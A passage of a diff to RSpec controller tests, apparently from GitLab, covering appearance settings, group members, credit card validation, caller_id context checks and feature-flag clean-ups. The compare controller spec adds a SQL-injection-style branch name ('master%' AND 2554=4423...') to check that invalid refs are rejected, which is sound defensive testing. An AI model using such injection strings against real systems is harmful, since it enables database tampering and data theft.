+ email_header_and_footer_enabled: false,
+ message_background_color: '#E75E40',
+ message_font_color: '#FFFFFF'
+ )
+ end
+
+ context 'when enabling header and footer in email' do
+ it 'updates appearance with enabled flag' do
+ update_params[:email_header_and_footer_enabled] = true
+
+ post :update, params: { appearance: update_params }
+
+ expect(Appearance.current).to have_attributes(
+ header_message: header_message,
+ footer_message: footer_message,
+ email_header_and_footer_enabled: true
+ )
+ end
+ end
+ end
+end
diff --git a/spec/controllers/admin/groups_controller_spec.rb b/spec/controllers/admin/groups_controller_spec.rb
index 8e31ef12adf..d9b7e00fd75 100644
--- a/spec/controllers/admin/groups_controller_spec.rb
+++ b/spec/controllers/admin/groups_controller_spec.rb
@@ -3,9 +3,9 @@
require 'spec_helper'
RSpec.describe Admin::GroupsController do
- let(:group) { create(:group) }
- let(:project) { create(:project, namespace: group) }
- let(:admin) { create(:admin) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, namespace: group) }
+ let_it_be(:admin) { create(:admin) }
before do
sign_in(admin)
@@ -46,9 +46,9 @@ RSpec.describe Admin::GroupsController do
end
describe 'PUT #members_update' do
- let(:group_user) { create(:user) }
+ let_it_be(:group_user) { create(:user) }
- it 'adds user to members' do
+ it 'adds user to members', :aggregate_failures, :snowplow do
put :members_update, params: {
id: group,
user_ids: group_user.id,
@@ -58,9 +58,16 @@ RSpec.describe Admin::GroupsController do
expect(controller).to set_flash.to 'Users were successfully added.'
expect(response).to redirect_to(admin_group_path(group))
expect(group.users).to include group_user
+ expect_snowplow_event(
+ category: 'Members::CreateService',
+ action: 'create_member',
+ label: 'admin-group-page',
+ property: 'existing_user',
+ user: admin
+ )
end
- it 'can add unlimited members' do
+ it 'can add unlimited members', :aggregate_failures do
put :members_update, params: {
id: group,
user_ids: 1.upto(1000).to_a.join(','),
@@ -71,7 +78,7 @@ RSpec.describe Admin::GroupsController do
expect(response).to redirect_to(admin_group_path(group))
end
- it 'adds no user to members' do
+ it 'adds no user to members', :aggregate_failures do
put :members_update, params: {
id: group,
user_ids: '',
diff --git a/spec/controllers/admin/integrations_controller_spec.rb b/spec/controllers/admin/integrations_controller_spec.rb
index 971f2f121aa..79c39784173 100644
--- a/spec/controllers/admin/integrations_controller_spec.rb
+++ b/spec/controllers/admin/integrations_controller_spec.rb
@@ -93,8 +93,8 @@ RSpec.describe Admin::IntegrationsController do
end
it 'deletes the integration and all inheriting integrations' do
- expect { subject }.to change { JiraService.for_instance.count }.by(-1)
- .and change { JiraService.inherit_from_id(integration.id).count }.by(-1)
+ expect { subject }.to change { Integrations::Jira.for_instance.count }.by(-1)
+ .and change { Integrations::Jira.inherit_from_id(integration.id).count }.by(-1)
end
end
end
diff --git a/spec/controllers/admin/runners_controller_spec.rb b/spec/controllers/admin/runners_controller_spec.rb
index 3984784f045..b5e7af2c012 100644
--- a/spec/controllers/admin/runners_controller_spec.rb
+++ b/spec/controllers/admin/runners_controller_spec.rb
@@ -12,6 +12,10 @@ RSpec.describe Admin::RunnersController do
describe '#index' do
render_views
+ before do
+ stub_feature_flags(runner_list_view_vue_ui: false)
+ end
+
it 'lists all runners' do
get :index
@@ -50,6 +54,10 @@ RSpec.describe Admin::RunnersController do
describe '#show' do
render_views
+ before do
+ stub_feature_flags(runner_detailed_view_vue_ui: false)
+ end
+
let_it_be(:project) { create(:project) }
let_it_be(:project_two) { create(:project) }
diff --git a/spec/controllers/admin/services_controller_spec.rb b/spec/controllers/admin/services_controller_spec.rb
index d5ec9907b48..995282ca4bb 100644
--- a/spec/controllers/admin/services_controller_spec.rb
+++ b/spec/controllers/admin/services_controller_spec.rb
@@ -44,7 +44,7 @@ RSpec.describe Admin::ServicesController do
describe "#update" do
let(:project) { create(:project) }
let!(:service_template) do
- RedmineService.create!(
+ Integrations::Redmine.create!(
project: nil,
active: false,
template: true,
diff --git a/spec/controllers/admin/users_controller_spec.rb b/spec/controllers/admin/users_controller_spec.rb
index 722c9c322cc..da57e5f8a92 100644
--- a/spec/controllers/admin/users_controller_spec.rb
+++ b/spec/controllers/admin/users_controller_spec.rb
@@ -651,6 +651,95 @@ RSpec.describe Admin::UsersController do
expect { post :update, params: params }.to change { user.reload.note }.to(note)
end
end
+
+ context 'when updating credit card validation for user account' do
+ let(:params) do
+ {
+ id: user.to_param,
+ user: user_params
+ }
+ end
+
+ shared_examples 'no credit card validation param' do
+ let(:user_params) { { name: 'foo' } }
+
+ it 'does not change credit card validation' do
+ expect { post :update, params: params }.not_to change(Users::CreditCardValidation, :count)
+ end
+ end
+
+ context 'when user has a credit card validation' do
+ before do
+ user.create_credit_card_validation!(credit_card_validated_at: Time.zone.now)
+ end
+
+ context 'with unchecked credit card validation' do
+ let(:user_params) do
+ { credit_card_validation_attributes: { credit_card_validated_at: '0' } }
+ end
+
+ it 'deletes credit_card_validation' do
+ expect { post :update, params: params }.to change { Users::CreditCardValidation.count }.by(-1)
+ end
+ end
+
+ context 'with checked credit card validation' do
+ let(:user_params) do
+ { credit_card_validation_attributes: { credit_card_validated_at: '1' } }
+ end
+
+ it 'does not change credit_card_validated_at' do
+ expect { post :update, params: params }.not_to change { user.credit_card_validated_at }
+ end
+ end
+
+ it_behaves_like 'no credit card validation param'
+ end
+
+ context 'when user does not have a credit card validation' do
+ context 'with checked credit card validation' do
+ let(:user_params) do
+ { credit_card_validation_attributes: { credit_card_validated_at: '1' } }
+ end
+
+ it 'creates new credit card validation' do
+ expect { post :update, params: params }.to change { Users::CreditCardValidation.count }.by 1
+ end
+ end
+
+ context 'with unchecked credit card validation' do
+ let(:user_params) do
+ { credit_card_validation_attributes: { credit_card_validated_at: '0' } }
+ end
+
+ it 'does not blow up' do
+ expect { post :update, params: params }.not_to change(Users::CreditCardValidation, :count)
+ end
+ end
+
+ it_behaves_like 'no credit card validation param'
+ end
+
+ context 'invalid parameters' do
+ let(:user_params) do
+ { credit_card_validation_attributes: { credit_card_validated_at: Time.current.iso8601 } }
+ end
+
+ it_behaves_like 'no credit card validation param'
+ end
+
+ context 'with non permitted params' do
+ let(:user_params) do
+ { credit_card_validation_attributes: { _destroy: true } }
+ end
+
+ before do
+ user.create_credit_card_validation!(credit_card_validated_at: Time.zone.now)
+ end
+
+ it_behaves_like 'no credit card validation param'
+ end
+ end
end
describe "DELETE #remove_email" do
diff --git a/spec/controllers/application_controller_spec.rb b/spec/controllers/application_controller_spec.rb
index 0235d7eb95a..218aa04dd3f 100644
--- a/spec/controllers/application_controller_spec.rb
+++ b/spec/controllers/application_controller_spec.rb
@@ -704,7 +704,7 @@ RSpec.describe ApplicationController do
get :index
- expect(response.headers['Cache-Control']).to eq 'max-age=0, private, must-revalidate, no-store'
+ expect(response.headers['Cache-Control']).to eq 'no-store'
expect(response.headers['Pragma']).to eq 'no-cache'
end
@@ -740,7 +740,7 @@ RSpec.describe ApplicationController do
it 'sets no-cache headers', :aggregate_failures do
subject
- expect(response.headers['Cache-Control']).to eq 'no-cache, no-store'
+ expect(response.headers['Cache-Control']).to eq 'no-store'
expect(response.headers['Pragma']).to eq 'no-cache'
expect(response.headers['Expires']).to eq 'Fri, 01 Jan 1990 00:00:00 GMT'
end
diff --git a/spec/controllers/confirmations_controller_spec.rb b/spec/controllers/confirmations_controller_spec.rb
index 49a39f257fe..c9a0ae981fc 100644
--- a/spec/controllers/confirmations_controller_spec.rb
+++ b/spec/controllers/confirmations_controller_spec.rb
@@ -12,7 +12,9 @@ RSpec.describe ConfirmationsController do
describe '#show' do
render_views
- subject { get :show, params: { confirmation_token: confirmation_token } }
+ def perform_request
+ get :show, params: { confirmation_token: confirmation_token }
+ end
context 'user is already confirmed' do
let_it_be_with_reload(:user) { create(:user, :unconfirmed) }
@@ -20,20 +22,37 @@ RSpec.describe ConfirmationsController do
before do
user.confirm
- subject
end
it 'renders `new`' do
+ perform_request
+
expect(response).to render_template(:new)
end
it 'displays an error message' do
+ perform_request
+
expect(response.body).to include('Email was already confirmed, please try signing in')
end
it 'does not display the email of the user' do
+ perform_request
+
expect(response.body).not_to include(user.email)
end
+
+ it 'sets the username and caller_id in the context' do
+ expect(controller).to receive(:show).and_wrap_original do |m, *args|
+ m.call(*args)
+
+ expect(Gitlab::ApplicationContext.current)
+ .to include('meta.user' => user.username,
+ 'meta.caller_id' => 'ConfirmationsController#show')
+ end
+
+ perform_request
+ end
end
context 'user accesses the link after the expiry of confirmation token has passed' do
@@ -42,39 +61,64 @@ RSpec.describe ConfirmationsController do
before do
allow(Devise).to receive(:confirm_within).and_return(1.day)
-
- travel_to(3.days.from_now) do
- subject
- end
end
it 'renders `new`' do
+ travel_to(3.days.from_now) { perform_request }
+
expect(response).to render_template(:new)
end
it 'displays an error message' do
+ travel_to(3.days.from_now) { perform_request }
+
expect(response.body).to include('Email needs to be confirmed within 1 day, please request a new one below')
end
it 'does not display the email of the user' do
+ travel_to(3.days.from_now) { perform_request }
+
expect(response.body).not_to include(user.email)
end
+
+ it 'sets the username and caller_id in the context' do
+ expect(controller).to receive(:show).and_wrap_original do |m, *args|
+ m.call(*args)
+
+ expect(Gitlab::ApplicationContext.current)
+ .to include('meta.user' => user.username,
+ 'meta.caller_id' => 'ConfirmationsController#show')
+ end
+
+ travel_to(3.days.from_now) { perform_request }
+ end
end
context 'with an invalid confirmation token' do
let(:confirmation_token) { 'invalid_confirmation_token' }
- before do
- subject
- end
-
it 'renders `new`' do
+ perform_request
+
expect(response).to render_template(:new)
end
it 'displays an error message' do
+ perform_request
+
expect(response.body).to include('Confirmation token is invalid')
end
+
+ it 'sets the the caller_id in the context' do
+ expect(controller).to receive(:show).and_wrap_original do |m, *args|
+ expect(Gitlab::ApplicationContext.current)
+ .to include('meta.caller_id' => 'ConfirmationsController#show')
+
+ m.call(*args)
+ end
+
+ perform_request
+ end
end
end
end
diff --git a/spec/controllers/dashboard/projects_controller_spec.rb b/spec/controllers/dashboard/projects_controller_spec.rb
index dcec8012f03..ed8dc1eb7cb 100644
--- a/spec/controllers/dashboard/projects_controller_spec.rb
+++ b/spec/controllers/dashboard/projects_controller_spec.rb
@@ -156,6 +156,12 @@ RSpec.describe Dashboard::ProjectsController, :aggregate_failures do
let!(:design_event) { create(:design_event, project: project) }
let!(:wiki_page_event) { create(:wiki_page_event, project: project) }
let!(:issue_event) { create(:closed_issue_event, project: project) }
+ let!(:push_event) do
+ create(:push_event, project: project).tap do |event|
+ create(:push_event_payload, event: event, ref_count: 2, ref: nil, ref_type: :tag, commit_count: 0, action: :pushed)
+ end
+ end
+
let(:design) { design_event.design }
let(:wiki_page) { wiki_page_event.wiki_page }
let(:issue) { issue_event.issue }
@@ -168,9 +174,10 @@ RSpec.describe Dashboard::ProjectsController, :aggregate_failures do
it 'renders all kinds of event without error' do
get :index, format: :atom
- expect(assigns(:events)).to include(design_event, wiki_page_event, issue_event)
+ expect(assigns(:events)).to include(design_event, wiki_page_event, issue_event, push_event)
expect(response).to render_template('dashboard/projects/index')
expect(response.body).to include(
+ "pushed to project",
"uploaded design #{design.to_reference}",
"created wiki page #{wiki_page.title}",
"joined project #{project.full_name}",
diff --git a/spec/controllers/groups/group_members_controller_spec.rb b/spec/controllers/groups/group_members_controller_spec.rb
index b666f73110a..4b17326de09 100644
--- a/spec/controllers/groups/group_members_controller_spec.rb
+++ b/spec/controllers/groups/group_members_controller_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe Groups::GroupMembersController do
end
describe 'GET index' do
- it 'renders index with 200 status code' do
+ it 'renders index with 200 status code', :aggregate_failures do
get :index, params: { group_id: group }
expect(response).to have_gitlab_http_status(:ok)
@@ -32,14 +32,6 @@ RSpec.describe Groups::GroupMembersController do
sign_in(user)
end
- it 'assigns max_access_for_group' do
- allow(controller).to receive(:current_user).and_return(user)
-
- get :index, params: { group_id: group }
-
- expect(user.max_access_for_group[group.id]).to eq(Gitlab::Access::OWNER)
- end
-
it 'assigns invited members' do
get :index, params: { group_id: group }
@@ -126,7 +118,7 @@ RSpec.describe Groups::GroupMembersController do
group.add_developer(user)
end
- it 'returns 403' do
+ it 'returns 403', :aggregate_failures do
post :create, params: {
group_id: group,
user_ids: group_user.id,
@@ -143,7 +135,7 @@ RSpec.describe Groups::GroupMembersController do
group.add_owner(user)
end
- it 'adds user to members' do
+ it 'adds user to members', :aggregate_failures, :snowplow do
post :create, params: {
group_id: group,
user_ids: group_user.id,
@@ -153,9 +145,16 @@ RSpec.describe Groups::GroupMembersController do
expect(controller).to set_flash.to 'Users were successfully added.'
expect(response).to redirect_to(group_group_members_path(group))
expect(group.users).to include group_user
+ expect_snowplow_event(
+ category: 'Members::CreateService',
+ action: 'create_member',
+ label: 'group-members-page',
+ property: 'existing_user',
+ user: user
+ )
end
- it 'adds no user to members' do
+ it 'adds no user to members', :aggregate_failures do
post :create, params: {
group_id: group,
user_ids: '',
@@ -185,7 +184,7 @@ RSpec.describe Groups::GroupMembersController do
context 'when set to a date in the past' do
let(:expires_at) { 2.days.ago }
- it 'does not add user to members' do
+ it 'does not add user to members', :aggregate_failures do
subject
expect(flash[:alert]).to include('Expires at cannot be a date in the past')
@@ -197,7 +196,7 @@ RSpec.describe Groups::GroupMembersController do
context 'when set to a date in the future' do
let(:expires_at) { 5.days.from_now }
- it 'adds user to members' do
+ it 'adds user to members', :aggregate_failures do
subject
expect(controller).to set_flash.to 'Users were successfully added.'
@@ -334,7 +333,7 @@ RSpec.describe Groups::GroupMembersController do
group.add_developer(user)
end
- it 'returns 403' do
+ it 'returns 403', :aggregate_failures do
delete :destroy, params: { group_id: group, id: member }
expect(response).to have_gitlab_http_status(:forbidden)
@@ -347,7 +346,7 @@ RSpec.describe Groups::GroupMembersController do
group.add_owner(user)
end
- it '[HTML] removes user from members' do
+ it '[HTML] removes user from members', :aggregate_failures do
delete :destroy, params: { group_id: group, id: member }
expect(controller).to set_flash.to 'User was successfully removed from group.'
@@ -356,7 +355,7 @@ RSpec.describe Groups::GroupMembersController do
expect(sub_group.members).to include sub_member
end
- it '[HTML] removes user from members including subgroups and projects' do
+ it '[HTML] removes user from members including subgroups and projects', :aggregate_failures do
delete :destroy, params: { group_id: group, id: member, remove_sub_memberships: true }
expect(controller).to set_flash.to 'User was successfully removed from group and any subgroups and projects.'
@@ -365,7 +364,7 @@ RSpec.describe Groups::GroupMembersController do
expect(sub_group.members).not_to include sub_member
end
- it '[JS] removes user from members' do
+ it '[JS] removes user from members', :aggregate_failures do
delete :destroy, params: { group_id: group, id: member }, xhr: true
expect(response).to be_successful
@@ -394,7 +393,7 @@ RSpec.describe Groups::GroupMembersController do
group.add_developer(user)
end
- it 'removes user from members' do
+ it 'removes user from members', :aggregate_failures do
delete :leave, params: { group_id: group }
expect(controller).to set_flash.to "You left the \"#{group.name}\" group."
@@ -402,7 +401,7 @@ RSpec.describe Groups::GroupMembersController do
expect(group.users).not_to include user
end
- it 'supports json request' do
+ it 'supports json request', :aggregate_failures do
delete :leave, params: { group_id: group }, format: :json
expect(response).to have_gitlab_http_status(:ok)
@@ -429,7 +428,7 @@ RSpec.describe Groups::GroupMembersController do
group.request_access(user)
end
- it 'removes user from members' do
+ it 'removes user from members', :aggregate_failures do
delete :leave, params: { group_id: group }
expect(controller).to set_flash.to 'Your access request to the group has been withdrawn.'
@@ -446,7 +445,7 @@ RSpec.describe Groups::GroupMembersController do
sign_in(user)
end
- it 'creates a new GroupMember that is not a team member' do
+ it 'creates a new GroupMember that is not a team member', :aggregate_failures do
post :request_access, params: { group_id: group }
expect(controller).to set_flash.to 'Your request for access has been queued for review.'
@@ -477,7 +476,7 @@ RSpec.describe Groups::GroupMembersController do
group.add_developer(user)
end
- it 'returns 403' do
+ it 'returns 403', :aggregate_failures do
post :approve_access_request, params: { group_id: group, id: member }
expect(response).to have_gitlab_http_status(:forbidden)
@@ -490,7 +489,7 @@ RSpec.describe Groups::GroupMembersController do
group.add_owner(user)
end
- it 'adds user to members' do
+ it 'adds user to members', :aggregate_failures do
post :approve_access_request, params: { group_id: group, id: member }
expect(response).to redirect_to(group_group_members_path(group))
diff --git a/spec/controllers/groups/registry/repositories_controller_spec.rb b/spec/controllers/groups/registry/repositories_controller_spec.rb
index 35c9a80266e..f4541eda293 100644
--- a/spec/controllers/groups/registry/repositories_controller_spec.rb
+++ b/spec/controllers/groups/registry/repositories_controller_spec.rb
@@ -75,6 +75,8 @@ RSpec.describe Groups::Registry::RepositoriesController do
context 'json format' do
let(:format) { :json }
+ let(:namespace) { group }
+ let(:snowplow_gitlab_standard_context) { { user: user, namespace: group } }
it 'has the correct response schema' do
subject
diff --git a/spec/controllers/groups/settings/integrations_controller_spec.rb b/spec/controllers/groups/settings/integrations_controller_spec.rb
index 63d99a1fab1..4f1f6dcaae4 100644
--- a/spec/controllers/groups/settings/integrations_controller_spec.rb
+++ b/spec/controllers/groups/settings/integrations_controller_spec.rb
@@ -124,8 +124,8 @@ RSpec.describe Groups::Settings::IntegrationsController do
end
it 'deletes the integration and all inheriting integrations' do
- expect { subject }.to change { JiraService.for_group(group.id).count }.by(-1)
- .and change { JiraService.inherit_from_id(integration.id).count }.by(-1)
+ expect { subject }.to change { Integrations::Jira.for_group(group.id).count }.by(-1)
+ .and change { Integrations::Jira.inherit_from_id(integration.id).count }.by(-1)
end
end
end
diff --git a/spec/controllers/groups_controller_spec.rb b/spec/controllers/groups_controller_spec.rb
index f47eac7ac25..91b11cd46c5 100644
--- a/spec/controllers/groups_controller_spec.rb
+++ b/spec/controllers/groups_controller_spec.rb
@@ -651,6 +651,45 @@ RSpec.describe GroupsController, factory_default: :keep do
end
end
+ describe 'updating :prevent_sharing_groups_outside_hierarchy' do
+ subject do
+ put :update,
+ params: {
+ id: group.to_param,
+ group: { prevent_sharing_groups_outside_hierarchy: true }
+ }
+ end
+
+ context 'when user is a group owner' do
+ before do
+ group.add_owner(user)
+ sign_in(user)
+ end
+
+ it 'updates the attribute' do
+ expect { subject }
+ .to change { group.namespace_settings.reload.prevent_sharing_groups_outside_hierarchy }
+ .from(false)
+ .to(true)
+
+ expect(response).to have_gitlab_http_status(:found)
+ end
+ end
+
+ context 'when not a group owner' do
+ before do
+ group.add_maintainer(user)
+ sign_in(user)
+ end
+
+ it 'does not update the attribute' do
+ expect { subject }.not_to change { group.namespace_settings.reload.prevent_sharing_groups_outside_hierarchy }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
describe '#ensure_canonical_path' do
before do
sign_in(user)
@@ -1026,14 +1065,13 @@ RSpec.describe GroupsController, factory_default: :keep do
describe 'GET #download_export' do
let(:admin) { create(:admin) }
+ let(:export_file) { fixture_file_upload('spec/fixtures/group_export.tar.gz') }
before do
enable_admin_mode!(admin)
end
context 'when there is a file available to download' do
- let(:export_file) { fixture_file_upload('spec/fixtures/group_export.tar.gz') }
-
before do
sign_in(admin)
create(:import_export_upload, group: group, export_file: export_file)
@@ -1046,6 +1084,22 @@ RSpec.describe GroupsController, factory_default: :keep do
end
end
+ context 'when the file is no longer present on disk' do
+ before do
+ sign_in(admin)
+
+ create(:import_export_upload, group: group, export_file: export_file)
+ group.export_file.file.delete
+ end
+
+ it 'returns not found' do
+ get :download_export, params: { id: group.to_param }
+
+ expect(flash[:alert]).to include('file containing the export is not available yet')
+ expect(response).to redirect_to(edit_group_path(group))
+ end
+ end
+
context 'when there is no file available to download' do
before do
sign_in(admin)
diff --git a/spec/controllers/import/bulk_imports_controller_spec.rb b/spec/controllers/import/bulk_imports_controller_spec.rb
index b450318f6f7..8f74d210667 100644
--- a/spec/controllers/import/bulk_imports_controller_spec.rb
+++ b/spec/controllers/import/bulk_imports_controller_spec.rb
@@ -51,7 +51,7 @@ RSpec.describe Import::BulkImportsController do
end
describe 'GET status' do
- let(:client) { BulkImports::Clients::Http.new(uri: 'http://gitlab.example', token: 'token') }
+ let(:client) { BulkImports::Clients::HTTP.new(uri: 'http://gitlab.example', token: 'token') }
describe 'serialized group data' do
let(:client_response) do
@@ -73,7 +73,7 @@ RSpec.describe Import::BulkImportsController do
let(:client_params) do
{
top_level_only: true,
- min_access_level: Gitlab::Access::MAINTAINER
+ min_access_level: Gitlab::Access::OWNER
}
end
@@ -149,7 +149,7 @@ RSpec.describe Import::BulkImportsController do
context 'when connection error occurs' do
before do
allow(controller).to receive(:client).and_return(client)
- allow(client).to receive(:get).and_raise(BulkImports::Clients::Http::ConnectionError)
+ allow(client).to receive(:get).and_raise(BulkImports::Clients::HTTP::ConnectionError)
end
it 'returns 422' do
diff --git a/spec/controllers/omniauth_callbacks_controller_spec.rb b/spec/controllers/omniauth_callbacks_controller_spec.rb
index 4a47a4a2a53..9a142559fca 100644
--- a/spec/controllers/omniauth_callbacks_controller_spec.rb
+++ b/spec/controllers/omniauth_callbacks_controller_spec.rb
@@ -293,6 +293,18 @@ RSpec.describe OmniauthCallbacksController, type: :controller do
expect(request.env['warden']).to be_authenticated
end
+
+ it 'sets the username and caller_id in the context' do
+ expect(controller).to receive(:atlassian_oauth2).and_wrap_original do |m, *args|
+ m.call(*args)
+
+ expect(Gitlab::ApplicationContext.current)
+ .to include('meta.user' => user.username,
+ 'meta.caller_id' => 'OmniauthCallbacksController#atlassian_oauth2')
+ end
+
+ post :atlassian_oauth2
+ end
end
context 'for a new user' do
@@ -454,6 +466,18 @@ RSpec.describe OmniauthCallbacksController, type: :controller do
it 'doesn\'t link a new identity to the user' do
expect { post :saml, params: { SAMLResponse: mock_saml_response } }.not_to change { user.identities.count }
end
+
+ it 'sets the username and caller_id in the context' do
+ expect(controller).to receive(:saml).and_wrap_original do |m, *args|
+ m.call(*args)
+
+ expect(Gitlab::ApplicationContext.current)
+ .to include('meta.user' => user.username,
+ 'meta.caller_id' => 'OmniauthCallbacksController#saml')
+ end
+
+ post :saml, params: { SAMLResponse: mock_saml_response }
+ end
end
end
diff --git a/spec/controllers/passwords_controller_spec.rb b/spec/controllers/passwords_controller_spec.rb
index e9883107456..08d68d7cec8 100644
--- a/spec/controllers/passwords_controller_spec.rb
+++ b/spec/controllers/passwords_controller_spec.rb
@@ -77,6 +77,18 @@ RSpec.describe PasswordsController do
expect(user.password_expires_at).not_to be_nil
end
end
+
+ it 'sets the username and caller_id in the context' do
+ expect(controller).to receive(:update).and_wrap_original do |m, *args|
+ m.call(*args)
+
+ expect(Gitlab::ApplicationContext.current)
+ .to include('meta.user' => user.username,
+ 'meta.caller_id' => 'PasswordsController#update')
+ end
+
+ subject
+ end
end
end
end
diff --git a/spec/controllers/profiles_controller_spec.rb b/spec/controllers/profiles_controller_spec.rb
index 7a72a13febe..37a633afab4 100644
--- a/spec/controllers/profiles_controller_spec.rb
+++ b/spec/controllers/profiles_controller_spec.rb
@@ -100,6 +100,16 @@ RSpec.describe ProfilesController, :request_store do
expect(user.reload.job_title).to eq(title)
expect(response).to have_gitlab_http_status(:found)
end
+
+ it 'allows updating user specified pronouns', :aggregate_failures do
+ pronouns = 'they/them'
+ sign_in(user)
+
+ put :update, params: { user: { pronouns: pronouns } }
+
+ expect(user.reload.pronouns).to eq(pronouns)
+ expect(response).to have_gitlab_http_status(:found)
+ end
end
describe 'GET audit_log' do
@@ -110,7 +120,8 @@ RSpec.describe ProfilesController, :request_store do
expect_snowplow_event(
category: 'ProfilesController',
- action: 'search_audit_event'
+ action: 'search_audit_event',
+ user: user
)
end
end
diff --git a/spec/controllers/projects/analytics/cycle_analytics/summary_controller_spec.rb b/spec/controllers/projects/analytics/cycle_analytics/summary_controller_spec.rb
new file mode 100644
index 00000000000..1832b84ab6e
--- /dev/null
+++ b/spec/controllers/projects/analytics/cycle_analytics/summary_controller_spec.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Projects::Analytics::CycleAnalytics::SummaryController do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+
+ let(:params) { { namespace_id: project.namespace.to_param, project_id: project.to_param, created_after: '2010-01-01', created_before: '2010-01-02' } }
+
+ before do
+ sign_in(user)
+ end
+
+ describe 'GET "show"' do
+ subject { get :show, params: params }
+
+ it 'succeeds' do
+ project.add_reporter(user)
+
+ subject
+
+ expect(response).to be_successful
+ expect(response).to match_response_schema('analytics/cycle_analytics/summary')
+ end
+
+ context 'when analytics_disabled features are disabled' do
+ it 'renders 404' do
+ project.add_reporter(user)
+ project.project_feature.update!(analytics_access_level: ProjectFeature::DISABLED)
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'when user is not part of the project' do
+ it 'renders 404' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+end
diff --git a/spec/controllers/projects/blob_controller_spec.rb b/spec/controllers/projects/blob_controller_spec.rb
index b965feee645..9493215247a 100644
--- a/spec/controllers/projects/blob_controller_spec.rb
+++ b/spec/controllers/projects/blob_controller_spec.rb
@@ -444,6 +444,40 @@ RSpec.describe Projects::BlobController do
end
end
+ describe 'POST preview' do
+ subject(:request) { post :preview, params: default_params }
+
+ let(:user) { create(:user) }
+ let(:filename) { 'preview.md' }
+ let(:default_params) do
+ {
+ namespace_id: project.namespace,
+ project_id: project,
+ id: "#{project.default_branch}/#{filename}",
+ content: "Bar\n"
+ }
+ end
+
+ before do
+ project.add_developer(user)
+ sign_in(user)
+
+ project.repository.create_file(
+ project.creator,
+ filename,
+ "Foo\n",
+ message: 'Test',
+ branch_name: project.default_branch
+ )
+ end
+
+ it 'is successful' do
+ request
+
+ expect(response).to be_successful
+ end
+ end
+
describe 'POST create' do
let(:user) { create(:user) }
let(:default_params) do
diff --git a/spec/controllers/projects/branches_controller_spec.rb b/spec/controllers/projects/branches_controller_spec.rb
index a99db2664a7..a00e302a64f 100644
--- a/spec/controllers/projects/branches_controller_spec.rb
+++ b/spec/controllers/projects/branches_controller_spec.rb
@@ -655,21 +655,6 @@ RSpec.describe Projects::BranchesController do
["feature", "improve/awesome", "merge-test", "markdown", "feature_conflict", "'test'"]
)
end
-
- context 'branch_list_keyset_pagination is disabled' do
- before do
- stub_feature_flags(branch_list_keyset_pagination: false)
- end
-
- it 'sets active and stale branches' do
- expect(assigns[:active_branches].map(&:name)).not_to include(
- "feature", "improve/awesome", "merge-test", "markdown", "feature_conflict", "'test'"
- )
- expect(assigns[:stale_branches].map(&:name)).to eq(
- ["feature", "improve/awesome", "merge-test", "markdown", "feature_conflict", "'test'"]
- )
- end
- end
end
end
diff --git a/spec/controllers/projects/commit_controller_spec.rb b/spec/controllers/projects/commit_controller_spec.rb
index a231b54419e..c650d145bef 100644
--- a/spec/controllers/projects/commit_controller_spec.rb
+++ b/spec/controllers/projects/commit_controller_spec.rb
@@ -380,18 +380,6 @@ RSpec.describe Projects::CommitController do
expect(response).to have_gitlab_http_status(:not_found)
end
end
-
- context 'disable pick_into_project feature flag' do
- before do
- stub_feature_flags(pick_into_project: false)
- end
-
- it 'does not cherry pick a commit from fork to upstream' do
- send_request
-
- expect(project.commit('feature').message).not_to include(forked_project.commit.id)
- end
- end
end
end
diff --git a/spec/controllers/projects/compare_controller_spec.rb b/spec/controllers/projects/compare_controller_spec.rb
index 80a6d3960cd..2412b970342 100644
--- a/spec/controllers/projects/compare_controller_spec.rb
+++ b/spec/controllers/projects/compare_controller_spec.rb
@@ -156,7 +156,7 @@ RSpec.describe Projects::CompareController do
it 'shows a flash message and redirects' do
show_request
- expect(flash[:alert]).to eq('Invalid branch name')
+ expect(flash[:alert]).to eq("Invalid branch name(s): master%' AND 2554=4423 AND '%'='")
expect(response).to have_gitlab_http_status(:found)
end
end
@@ -169,7 +169,20 @@ RSpec.describe Projects::CompareController do
it 'shows a flash message and redirects' do
show_request
- expect(flash[:alert]).to eq('Invalid branch name')
+ expect(flash[:alert]).to eq("Invalid branch name(s): master%' AND 2554=4423 AND '%'='")
+ expect(response).to have_gitlab_http_status(:found)
+ end
+ end
+
+ context 'when the both refs are invalid' do
+ let(:from_project_id) { nil }
+ let(:from_ref) { "master%' AND 2554=4423 AND '%'='" }
+ let(:to_ref) { "improve%' =,awesome" }
+
+ it 'shows a flash message and redirects' do
+ show_request
+
+ expect(flash[:alert]).to eq("Invalid branch name(s): improve%' =,awesome, master%' AND 2554=4423 AND '%'='")
expect(response).to have_gitlab_http_status(:found)
end
end
diff --git a/spec/controllers/projects/feature_flags_controller_spec.rb b/spec/controllers/projects/feature_flags_controller_spec.rb
index cd7d1ea0e8a..f809dd31b3b 100644
--- a/spec/controllers/projects/feature_flags_controller_spec.rb
+++ b/spec/controllers/projects/feature_flags_controller_spec.rb
@@ -154,60 +154,6 @@ RSpec.describe Projects::FeatureFlagsController do
end
end
- context 'when feature flags have additional scopes' do
- let!(:feature_flag_active_scope) do
- create(:operations_feature_flag_scope,
- feature_flag: feature_flag_active,
- environment_scope: 'production',
- active: false)
- end
-
- let!(:feature_flag_inactive_scope) do
- create(:operations_feature_flag_scope,
- feature_flag: feature_flag_inactive,
- environment_scope: 'staging',
- active: false)
- end
-
- it 'returns a correct summary' do
- subject
-
- expect(json_response['count']['all']).to eq(2)
- expect(json_response['count']['enabled']).to eq(1)
- expect(json_response['count']['disabled']).to eq(1)
- end
-
- it 'recognizes feature flag 1 as active' do
- subject
-
- expect(json_response['feature_flags'].first['active']).to be_truthy
- end
-
- it 'recognizes feature flag 2 as inactive' do
- subject
-
- expect(json_response['feature_flags'].second['active']).to be_falsy
- end
-
- it 'has ordered scopes' do
- subject
-
- expect(json_response['feature_flags'][0]['scopes'][0]['id'])
- .to be < json_response['feature_flags'][0]['scopes'][1]['id']
- expect(json_response['feature_flags'][1]['scopes'][0]['id'])
- .to be < json_response['feature_flags'][1]['scopes'][1]['id']
- end
-
- it 'does not have N+1 problem' do
- recorded = ActiveRecord::QueryRecorder.new { subject }
-
